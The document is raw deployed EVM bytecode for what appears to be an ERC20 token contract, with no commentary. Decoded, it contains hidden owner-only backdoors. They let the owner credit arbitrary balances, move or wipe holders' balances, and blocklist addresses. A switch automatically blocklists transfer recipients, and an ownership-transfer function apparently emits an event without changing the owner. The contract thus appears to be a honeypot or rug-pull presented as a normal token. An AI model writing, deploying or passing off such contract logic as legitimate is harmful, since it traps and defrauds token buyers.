fffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90612ceb565b60405180910390fd5b80603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b610ae3611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6790612ceb565b60405180910390fd5b80603c60006101000a81548160ff02191690831515021790555050565b6000610b97611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612ceb565b60405180910390fd5b81603c60026101000a81548160ff02191690831515021790555082905092915050565b610c4f611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd390612ceb565b60405180910390fd5b6000811015610cea57600080fd5b6064811115610cf857600080fd5b80603b8190555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d53611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790612ceb565b60405180910390fd5b6001603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b603a5481565b610e49611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90612ceb565b60405180910390fd5b8060398190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610f1890612d9d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4490612d9d565b8015610f915780601f10610f6657610100808354040283529160200191610f91565b820191906000526020600020905b815481529060010190602001808311610f7457829003601f168201915b5050505050905090565b610fa3611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612ceb565b60405180910390fd5b80603860006101000a81548160ff02191690831515021790555050565b600080611058611a9a565b90506000611066828661141c565b9050838110156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612e40565b60405180910390fd5b6110b88286868403611aa2565b60019250505092915050565b6000806110cf611a9a565b90506110dc818585611cf7565b600191505092915050565b6110ef611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117390612ceb565b60405180910390fd5b80603a8190555050565b603c60029054906101000a900460ff1681565b6111a1611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122590612ceb565b60405180910390fd5b80603c60016101000a81548160ff02191690831515021790555050565b611253611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612ceb565b60405180910390fd5b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611345611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612ceb565b60405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b603b5481565b6114b1611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153590612ceb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361157757600080fd5b6000611581610ee0565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6115e9611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166d90612ceb565b60405180910390fd5b61167e610ee0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e290612eac565b60405180910390fd5b600061dead9050670de0b6b3a7640000826117069190612ecc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611862576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a9190612d3a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a5565b670de0b6b3a7640000826118769190612ecc565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c09190612f26565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550670de0b6b3a7640000826119179190612ecc565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119619190612d3a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6119b2611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3690612ceb565b60405180910390fd5b6000603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0890612fcc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779061305e565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c5e9190612aca565b60405180910390a3505050565b6000611c77848461141c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611cf15781811015611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906130ca565b60405180910390fd5b611cf08484848403611aa2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d9061315c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc906131ee565b60405180910390fd5b603c60019054906101000a900460ff1615611f78576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6890613280565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f069190612d3a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f6a9190612aca565b60405180910390a350611f8e565b611f828382611f93565b611f8d838383612254565b5b505050565b611f9b610ee0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120205750603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561207a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561225057603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120d657600080fd5b6000603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561216b57603760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561216a57600080fd5b5b600060395411156121865760395481111561218557600080fd5b5b603860009054906101000a900460ff16156121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cd906132ec565b60405180910390fd5b6000603a54111561223057603a54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561222f57600080fd5b5b603c60009054906101000a900460ff161561224f5761224e82612872565b5b5b5050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156122d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cd90613358565b60405180910390fd5b600061dead90506122e5610ee0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561236a5750603560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123a257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156126ea5760006064603b54846123b99190612ecc565b6123c391906133a7565b9050600081846123d39190612f26565b905080600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124209190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ae9190612d3a565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161254e9190612aca565b60405180910390a36000603b5411156126e35781600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac9190612f26565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263a9190612d3a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126da9190612aca565b60405180910390a35b505061286c565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127359190612f26565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127c39190612d3a565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128639190612aca565b60405180910390a35b50505050565b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128fd826128d2565b9050919050565b61290d816128f2565b811461291857600080fd5b50565b60008135905061292a81612904565b92915050565b6000819050919050565b61294381612930565b811461294e57600080fd5b50565b6000813590506129608161293a565b92915050565b6000806040838503121561297d5761297c6128cd565b5b600061298b8582860161291b565b925050602061299c85828601612951565b9150509250929050565b6000602082840312156129bc576129bb6128cd565b5b60006129ca8482850161291b565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a0d5780820151818401526020810190506129f2565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a35826129d3565b612a3f81856129de565b9350612a4f8185602086016129ef565b612a5881612a19565b840191505092915050565b60006020820190508181036000830152612a7d8184612a2a565b905092915050565b60008115159050919050565b612a9a81612a85565b82525050565b6000602082019050612ab56000830184612a91565b92915050565b612ac481612930565b82525050565b6000602082019050612adf6000830184612abb565b92915050565b600080600060608486031215612afe57612afd6128cd565b5b6000612b0c8682870161291b565b9350506020612b1d8682870161291b565b9250506040612b2e86828701612951565b9150509250925092565b600060ff82169050919050565b612b4e81612b38565b82525050565b6000602082019050612b696000830184612b45565b92915050565b612b7881612a85565b8114612b8357600080fd5b50565b600081359050612b9581612b6f565b92915050565b600060208284031215612bb157612bb06128cd565b5b6000612bbf84828501612b86565b91505092915050565b60008060408385031215612bdf57612bde6128cd565b5b6000612bed8582860161291b565b9250506020612bfe85828601612b86565b9150509250929050565b612c11816128f2565b82525050565b6000602082019050612c2c6000830184612c08565b92915050565b600060208284031215612c4857612c476128cd565b5b6000612c5684828501612951565b91505092915050565b60008060408385031215612c7657612c756128cd565b5b6000612c848582860161291b565b9250506020612c958582860161291b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612cd56020836129de565b9150612ce082612c9f565b602082019050919050565b60006020820190508181036000830152612d0481612cc8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d4582612930565b9150612d5083612930565b9250828201905080821115612d6857612d67612d0b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612db557607f821691505b602082108103612dc857612dc7612d6e565b5b50919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e2a6025836129de565b9150612e3582612dce565b604082019050919050565b60006020820190508181036000830152612e5981612e1d565b9050919050565b7f544152474554204552524f520000000000000000000000000000000000000000600082015250565b6000612e96600c836129de565b9150612ea182612e60565b602082019050919050565b60006020820190508181036000830152612ec581612e89565b9050919050565b6000612ed782612930565b9150612ee283612930565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1b57612f1a612d0b565b5b828202905092915050565b6000612f3182612930565b9150612f3c83612930565b9250828203905081811115612f5457612f53612d0b565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fb66024836129de565b9150612fc182612f5a565b604082019050919050565b60006020820190508181036000830152612fe581612fa9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130486022836129de565b915061305382612fec565b604082019050919050565b600060208201905081810360008301526130778161303b565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006130b4601d836129de565b91506130bf8261307e565b602082019050919050565b600060208201905081810360008301526130e3816130a7565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006131466025836129de565b9150613151826130ea565b604082019050919050565b6000602082019050818103600083015261317581613139565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131d86023836129de565b91506131e38261317c565b604082019050919050565b60006020820190508181036000830152613207816131cb565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061326a6026836129de565b91506132758261320e565b604082019050919050565b600060208201905081810360008301526132998161325d565b9050919050565b7f4572726f72000000000000000000000000000000000000000000000000000000600082015250565b60006132d66005836129de565b91506132e1826132a0565b602082019050919050565b60006020820190508181036000830152613305816132c9565b9050919050565b7f56616c756520657863656564732062616c616e63650000000000000000000000600082015250565b60006133426015836129de565b915061334d8261330c565b602082019050919050565b6000602082019050818103600083015261337181613335565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133b282612930565b91506133bd83612930565b9250826133cd576133cc613378565b5b82820490509291505056fea26469706673582212208ce962c0601a47a4aac836665b2ab5b775f55601f1d101fc9341c4801b60be9f64736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106102065760003560e01c8063860aefcf1161011a578063b70c2841116100ad578063dd62ed3e1161007c578063dd62ed3e146105eb578063ddca3f431461061b578063f2fde38b14610639578063fb8bd26f14610655578063fdc85fc41461067157610206565b8063b70c284114610565578063c222740d14610583578063ce1fd3801461059f578063d5aed6bf146105bb57610206565b8063a1c61f50116100e9578063a1c61f50146104cd578063a457c2d7146104e9578063a9059cbb14610519578063ae96ffe61461054957610206565b8063860aefcf1461045757806389fe8507146104755780638da5cb5b1461049157806395d89b41146104af57610206565b806327722f6a1161019d57806359fa6d721161016c57806359fa6d72146103a3578063661751f9146103bf57806369fe0e2d146103ef57806370a082311461040b5780637adbf9731461043b57610206565b806327722f6a1461031b578063313ce5671461033957806339509351146103575780633a6e7d391461038757610206565b80630f953cca116101d95780630f953cca1461029157806318160ddd146102af578063228cb733146102cd57806323b872dd146102eb57610206565b806302323a731461020b578063032049891461022757806306fdde0314610243578063095ea7b314610261575b600080fd5b61022560048036038101906102209190612966565b61068d565b005b610241600480360381019061023c91906129a6565b6107b4565b005b61024b6108a4565b6040516102589190612a63565b60405180910390f35b61027b60048036038101906102769190612966565b610936565b6040516102889190612aa0565b60405180910390f35b610299610959565b6040516102a69190612aa0565b60405180910390f35b6102b761096c565b6040516102c49190612aca565b60405180910390f35b6102d5610976565b6040516102e29190612aa0565b60405180910390f35b61030560048036038101906103009190612ae5565b610989565b6040516103129190612aa0565b60405180910390f35b6103236109b8565b6040516103309190612aca565b60405180910390f35b6103416109be565b60405161034e9190612b54565b60405180910390f35b610371600480360381019061036c9190612966565b6109c7565b60405161037e9190612aa0565b60405180910390f35b6103a1600480360381019061039c9190612966565b6109fe565b005b6103bd60048036038101906103b89190612b9b565b610adb565b005b6103d960048036038101906103d49190612bc8565b610b8d565b6040516103e69190612c17565b60405180910390f35b61040960048036038101906104049190612c32565b610c47565b005b610425600480360381019061042091906129a6565b610d02565b6040516104329190612aca565b60405180910390f35b610455600480360381019061045091906129a6565b610d4b565b005b61045f610e3b565b60405161046c9190612aca565b60405180910390f35b61048f600480360381019061048a9190612c32565b610e41565b005b610499610ee0565b6040516104a69190612c17565b60405180910390f35b6104b7610f09565b6040516104c49190612a63565b60405180910390f35b6104e760048036038101906104e29190612b9b565b610f9b565b005b61050360048036038101906104fe9190612966565b61104d565b6040516105109190612aa0565b60405180910390f35b610533600480360381019061052e9190612966565b6110c4565b6040516105409190612aa0565b60405180910390f35b610563600480360381019061055e9190612c32565b6110e7565b005b61056d611186565b60405161057a9190612aa0565b60405180910390f35b61059d60048036038101906105989190612b9b565b611199565b005b6105b960048036038101906105b491906129a6565b61124b565b005b6105d560048036038101906105d091906129a6565b61133b565b6040516105e29190612aa0565b60405180910390f35b61060560048036038101906106009190612c5f565b61141c565b6040516106129190612aca565b60405180910390f35b6106236114a3565b6040516106309190612aca565b60405180910390f35b610653600480360381019061064e91906129a6565b6114a9565b005b61066f600480360381019061066a9190612966565b6115e1565b005b61068b600480360381019061068691906129a6565b6119aa565b005b610695611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071990612ceb565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461076d9190612d3a565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6107bc611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090612ceb565b60405180910390fd5b6000603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6060600580546108b390612d9d565b80601f01602080910402602001604051908101604052809291908181526020018280546108df90612d9d565b801561092c5780601f106109015761010080835404028352916020019161092c565b820191906000526020600020905b81548152906001019060200180831161090f57829003601f168201915b5050505050905090565b600080610941611a9a565b905061094e818585611aa2565b600191505092915050565b603c60009054906101000a900460ff1681565b6000600454905090565b603860009054906101000a900460ff1681565b600080610994611a9a565b90506109a1858285611c6b565b6109ac858585611cf7565b60019150509392505050565b60395481565b60006012905090565b6000806109d2611a9a565b90506109f38185856109e4858961141c565b6109ee9190612d3a565b611aa2565b600191505092915050565b610a06611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8a90612ceb565b60405180910390fd5b80603760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b610ae3611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6790612ceb565b60405180910390fd5b80603c60006101000a81548160ff02191690831515021790555050565b6000610b97611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612ceb565b60405180910390fd5b81603c60026101000a81548160ff02191690831515021790555082905092915050565b610c4f611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd390612ceb565b60405180910390fd5b6000811015610cea57600080fd5b6064811115610cf857600080fd5b80603b8190555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d53611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd790612ceb565b60405180910390fd5b6001603560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b603a5481565b610e49611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecd90612ceb565b60405180910390fd5b8060398190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610f1890612d9d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f4490612d9d565b8015610f915780601f10610f6657610100808354040283529160200191610f91565b820191906000526020600020905b815481529060010190602001808311610f7457829003601f168201915b5050505050905090565b610fa3611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790612ceb565b60405180910390fd5b80603860006101000a81548160ff02191690831515021790555050565b600080611058611a9a565b90506000611066828661141c565b9050838110156110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612e40565b60405180910390fd5b6110b88286868403611aa2565b60019250505092915050565b6000806110cf611a9a565b90506110dc818585611cf7565b600191505092915050565b6110ef611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461117c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117390612ceb565b60405180910390fd5b80603a8190555050565b603c60029054906101000a900460ff1681565b6111a1611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122590612ceb565b60405180910390fd5b80603c60016101000a81548160ff02191690831515021790555050565b611253611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612ceb565b60405180910390fd5b6001603660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611345611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c990612ceb565b60405180910390fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b603b5481565b6114b1611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153590612ceb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361157757600080fd5b6000611581610ee0565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6115e9611a9a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166d90612ceb565b60405180910390fd5b61167e610e